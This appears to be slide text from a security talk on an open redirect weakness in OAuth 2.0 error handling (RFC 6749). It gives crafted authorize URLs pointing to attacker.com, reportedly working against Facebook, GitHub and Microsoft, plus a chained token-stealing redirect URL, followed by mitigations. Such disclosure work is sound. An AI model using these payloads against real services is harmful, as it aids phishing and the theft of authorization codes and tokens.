Open redirect in rfc6749

J. Bradley
A. Sanso
B. H. Tschofenig

The Specification

rfc6 749 – section 4.1.2.1

the request fails due to a missing, invalid, or mismatching
direction URI, or if the client identifier is missing or invalid,
e authorization server SHOULD inform the resource owner of the
ror and MUST NOT automatically redirect the user-agent to the
valid redirection URI.

the resource owner denies the access request or **if the request**
ils for reasons other than a missing or invalid redirection URI,
e authorization server informs the client by adding the following
rameters to the query component of the redirection URI using the
pplication/x-www-form-urlencoded" format,

The Problem

Open Redirect OWASP TOP 10

..an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.

The Attack

The attacker

- Registers a new client to the victim.com provider
- Registers a redirect uri like attacker.com
- Craft a special URI of the form(with a wrong scope)

http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com

Live Examples

- **Facebook:** https://graph.facebook.com/oauth/authorize?response_type=code&client_id=162183566804648 1&redirect_uri=http://www.attacker.com/&scope=WRONG_SCOPE
- **Github:** https://github.com/login/oauth/authorize?response_type=code&redirect_uri=http://attacker.com2&client_id=e2ddb90328315c367b11
- **Microsoft:** https://login.live.com/oauth20_authorize.srf?response_type=code&redirect_uri=http://attacker.com&client_id=000000004C12822C

Security Compromise: The Authorization Server As Open Redirector

```
https://AUTHORIZATION_SERVER/authorize?response_type=token
&client_id=good-client&scope=VALID_SCOPE &redirect_uri=https%3A
%2F%2AUTHORIZATION_SERVER%Fauthorize %3Fresponse_type%3Dcode
%26client_id%3Dattacker-client-id %26scope%3DINVALID_SCOPE
%26redirect_uri%3Dhttps%253A%252F%252Fattacker.com
```

The Mitigation

https://tools.ietf.org/id/draft-bradley-oauth-open-redirector-01.txt

- Respond with an HTTP 400 (Bad Request) status code (rather than 302)

- Perform a redirect to an intermediate URI under the control of the AS to clear referer

- The fragment "#_=_" MUST be appended to the error redirect URI.